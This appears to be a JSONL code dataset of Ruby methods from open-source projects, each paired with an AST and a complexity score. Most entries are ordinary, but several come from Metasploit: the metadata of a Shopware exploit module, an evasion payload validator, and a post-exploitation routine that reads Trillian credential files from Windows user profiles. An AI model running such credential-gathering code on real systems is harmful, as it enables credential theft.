<steven@srcincite.io>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-12799\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-18357\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-05-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base Shopware path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Backend username to authenticate with\"]},{\"type\":\"str\",\"children\":[\"demo\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Backend password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"demo\"]}]}]}]}]}]}]}","id":"d9ed6fc1-41f4-4e9f-b2d3-2106ee973995"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/send_file_test.rb","start_line":23,"raw_source":"def file\n    send_file(file_path, options)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_file\",{\"type\":\"send\",\"children\":[null,\"file_path\"]},{\"type\":\"send\",\"children\":[null,\"options\"]}]}]}","id":"6add5022-c179-42c8-8218-a4cf8e2067a7"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/scanner.rb","start_line":385,"raw_source":"def process_templates\n    templates = file_cache.templates.sort_by { |path, _| path }\n\n    track_progress templates, \"templates\" do |path, template|\n      process_step_file path do\n        process_template template\n      end\n    end\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_templates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"templates\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_cache\"]},\"templates\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"track_progress\",{\"type\":\"lvar\",\"children\":[\"templates\"]},{\"type\":\"str\",\"children\":[\"templates\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_step_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"process_template\",{\"type\":\"lvar\",\"children\":[\"template\"]}]}]}]}]}]}","id":"1e0a16ef-f789-4584-9975-3cbef606eaef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/question.rb","start_line":179,"raw_source":"def new_from_binary(data)\n        str,type,cls = data.unpack(\"a#{data.size-4}nn\")\n        @qName = build_qName(str)\n        @qType = Net::DNS::RR::Types.new type\n        @qClass = Net::DNS::RR::Classes.new cls\n      rescue StandardError => e\n        raise QuestionArgumentError, \"Invalid data: #{data.inspect}\\n{e.backtrace}\"\n      end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"new_from_binary\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"str\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"cls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"size\"]},\"-\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\"nn\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@qName\",{\"type\":\"send\",\"children\":[null,\"build_qName\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@qType\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"RR\"]},\"Types\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@qClass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"RR\"]},\"Classes\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"cls\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"QuestionArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid data: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"\\n{e.backtrace}\"]}]}]}]},null]}]}","id":"7e96987d-8e20-463e-81dd-1c533cf39bab"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":1126,"raw_source":"def source_reflection_names\n        options[:source] ? [options[:source]] : [name.to_s.singularize, name].uniq\n      end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"source_reflection_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"to_s\"]},\"singularize\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},\"uniq\"]}]}]}","id":"59a2e29e-822a-4af7-8c09-4b7ebba87312"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/wizard.rb","start_line":119,"raw_source":"def requires_completion?\n    return false unless SiteSetting.wizard_enabled?\n    return false if SiteSetting.bypass_wizard_check?\n\n    if Topic.limit(@max_topics_to_require_completion + 1).count > @max_topics_to_require_completion\n      SiteSetting.bypass_wizard_check = true\n      return false\n    end\n\n    if @user&.id && User.first_login_admin_id == @user.id\n      !Wizard::Builder.new(@user).build.completed?\n    else\n      false\n    end\n  end","complexity_score":24.25,"ast_json":"{\"type\":\"def\",\"children\":[\"requires_completion?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"wizard_enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"bypass_wizard_check?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_topics_to_require_completion\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"count\"]},\">\",{\"type\":\"ivar\",\"children\":[\"@max_topics_to_require_completion\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"bypass_wizard_check=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"first_login_admin_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Wizard\"]},\"Builder\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]},\"build\"]},\"completed?\"]},\"!\"]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"57629254-388d-4d2a-81ad-deb6f0c27587"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/cli.rb","start_line":113,"raw_source":"def method_missing(*args)\n      return super(*args) if args.length > 1\n      render(args.first.to_s)\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]},\"to_s\"]}]}]}]}","id":"b7eeae1a-526a-4557-bf3f-14003a253ecf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":636,"raw_source":"def destroy_queue(queue_options = {})\n    msg = \"Queuing destroy of #{self.class.name} with id: #{id}\"\n\n    _log.info(msg)\n\n    # Before we queue the `#destroy` pause the provider to prevent a provider in\n    # a bad state from filling up the queue preventing the `#destroy` from being\n    # processed.\n    pause_queue!(:priority => MiqQueue::HIGH_PRIORITY)\n\n    task = MiqTask.create(\n      :name    => \"Destroying #{self.class.name} with id: #{id}\",\n      :state   => MiqTask::STATE_QUEUED,\n      :status  => MiqTask::STATUS_OK,\n      :message => msg\n    )\n\n    orchestrate_destroy_queue(task.id, queue_options)\n\n    task.id\n  end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"queue_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Queuing destroy of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" with id: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[null,\"pause_queue!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"HIGH_PRIORITY\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"task\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Destroying \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" with id: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"STATE_QUEUED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"STATUS_OK\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"orchestrate_destroy_queue\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"queue_options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"id\"]}]}]}","id":"692f5e84-d906-41a9-9a21-9c3dc83c2413"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/ide_helper.rb","start_line":61,"raw_source":"def ide_oauth_data\n    return {} unless ::WebIde::DefaultOauthApplication.oauth_application\n\n    client_id = ::WebIde::DefaultOauthApplication.oauth_application.uid\n    callback_urls = ::WebIde::DefaultOauthApplication.oauth_application_callback_urls\n\n    {\n      'client-id' => client_id,\n      'callback-urls' => callback_urls\n    }\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ide_oauth_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WebIde\"]},\"DefaultOauthApplication\"]},\"oauth_application\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"client_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WebIde\"]},\"DefaultOauthApplication\"]},\"oauth_application\"]},\"uid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"callback_urls\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WebIde\"]},\"DefaultOauthApplication\"]},\"oauth_application_callback_urls\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"client-id\"]},{\"type\":\"lvar\",\"children\":[\"client_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"callback-urls\"]},{\"type\":\"lvar\",\"children\":[\"callback_urls\"]}]}]}]}]}","id":"50f19772-15b9-49d0-8ed2-55d0c327fa80"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/evasion_driver.rb","start_line":44,"raw_source":"def validate\n    if (payload == nil)\n      raise MissingPayloadError, \"A payload has not been selected.\", caller\n    end\n\n    # Make sure the payload is compatible after all\n    unless compatible_payload?(payload)\n      raise IncompatiblePayloadError.new(payload.refname), \"#{payload.refname} is not a compatible payload.\", caller\n    end\n\n    # Associate the payload instance with the evasion\n    payload.assoc_exploit = evasion\n\n    # Finally, validate options on the evasion module to ensure that things\n    # are ready to operate as they should.\n    evasion.options.validate(evasion.datastore)\n\n    # Validate the payload's options.  The payload's datastore is\n    # most likely shared against the evasion's datastore, but in case it\n    # isn't.\n    payload.options.validate(payload.datastore)\n\n    return true\n  end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"MissingPayloadError\"]},{\"type\":\"str\",\"children\":[\"A payload has not been selected.\"]},{\"type\":\"send\",\"children\":[null,\"caller\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compatible_payload?\",{\"type\":\"send\",\"children\":[null,\"payload\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IncompatiblePayloadError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"refname\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"refname\"]}]},{\"type\":\"str\",\"children\":[\" is not a compatible payload.\"]}]},{\"type\":\"send\",\"children\":[null,\"caller\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"assoc_exploit=\",{\"type\":\"send\",\"children\":[null,\"evasion\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"evasion\"]},\"options\"]},\"validate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"evasion\"]},\"datastore\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"options\"]},\"validate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"datastore\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"4e34d18f-934f-44ae-b906-fff700f5bbcf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/status/build/unschedule.rb","start_line":12,"raw_source":"def has_action?\n            can?(user, :unschedule_job, subject)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_action?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"sym\",\"children\":[\"unschedule_job\"]},{\"type\":\"send\",\"children\":[null,\"subject\"]}]}]}","id":"09b3e57a-b78c-4fad-b5da-53565cc8fb61"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/trillian.rb","start_line":47,"raw_source":"def run\n    grab_user_profiles.each do |user|\n      next if user['AppData'].nil?\n\n      accounts = user['AppData'] + '\\\\Trillian\\\\users\\\\global\\\\accounts.ini'\n\n      next if accounts.empty?\n\n      stat = begin\n        session.fs.file.stat(accounts)\n      rescue StandardError\n        nil\n      end\n      next if stat.nil?\n\n      get_ini(accounts)\n    end\n  end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grab_user_profiles\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AppData\"]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"accounts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AppData\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\\Trillian\\\\users\\\\global\\\\accounts.ini\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accounts\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"stat\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"fs\"]},\"file\"]},\"stat\",{\"type\":\"lvar\",\"children\":[\"accounts\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"get_ini\",{\"type\":\"lvar\",\"children\":[\"accounts\"]}]}]}]}]}","id":"5507ccff-d2d9-497d-be33-f64588b4722b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":411,"raw_source":"def test_in_batches_delete_all_should_not_delete_records_in_other_batches\n    not_deleted_count = Post.where(\"id <= 2\").count\n    Post.where(\"id > 2\").in_batches(of: 2).delete_all\n    assert_equal 0, Post.where(\"id > 2\").count\n    assert_equal not_deleted_count, Post.count\n  end","complexity_score":12.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_batches_delete_all_should_not_delete_records_in_other_batches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"not_deleted_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"id <= 2\"]}]},\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"id > 2\"]}]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},\"delete_all\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"id > 2\"]}]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"not_deleted_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"count\"]}]}]}]}","id":"11228da4-9878-4b41-bea0-f0e0ad5b1e54"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/subscribers/action_view.rb","start_line":20,"raw_source":"def track(event)\n          tags = tags_for(event)\n          current_transaction.observe(:gitlab_view_rendering_duration_seconds, event.duration, tags) do\n            docstring 'View rendering time'\n            label_keys %i[view]\n            buckets [0.001, 0.01, 0.1, 1, 10.0]\n            with_feature :prometheus_metrics_view_instrumentation\n          end\n\n          current_transaction.increment(:gitlab_transaction_view_duration_total, event.duration)\n        end","complexity_score":16.35,"ast_json":"{\"type\":\"def\",\"children\":[\"track\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"send\",\"children\":[null,\"tags_for\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_transaction\"]},\"observe\",{\"type\":\"sym\",\"children\":[\"gitlab_view_rendering_duration_seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"duration\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"docstring\",{\"type\":\"str\",\"children\":[\"View rendering time\"]}]},{\"type\":\"send\",\"children\":[null,\"label_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"view\"]}]}]},{\"type\":\"send\",\"children\":[null,\"buckets\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[0.001]},{\"type\":\"float\",\"children\":[0.01]},{\"type\":\"float\",\"children\":[0.1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"float\",\"children\":[10.0]}]}]},{\"type\":\"send\",\"children\":[null,\"with_feature\",{\"type\":\"sym\",\"children\":[\"prometheus_metrics_view_instrumentation\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_transaction\"]},\"increment\",{\"type\":\"sym\",\"children\":[\"gitlab_transaction_view_duration_total\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"duration\"]}]}]}]}","id":"9fa4be02-6fcb-42e7-82d7-affc60453b75"}
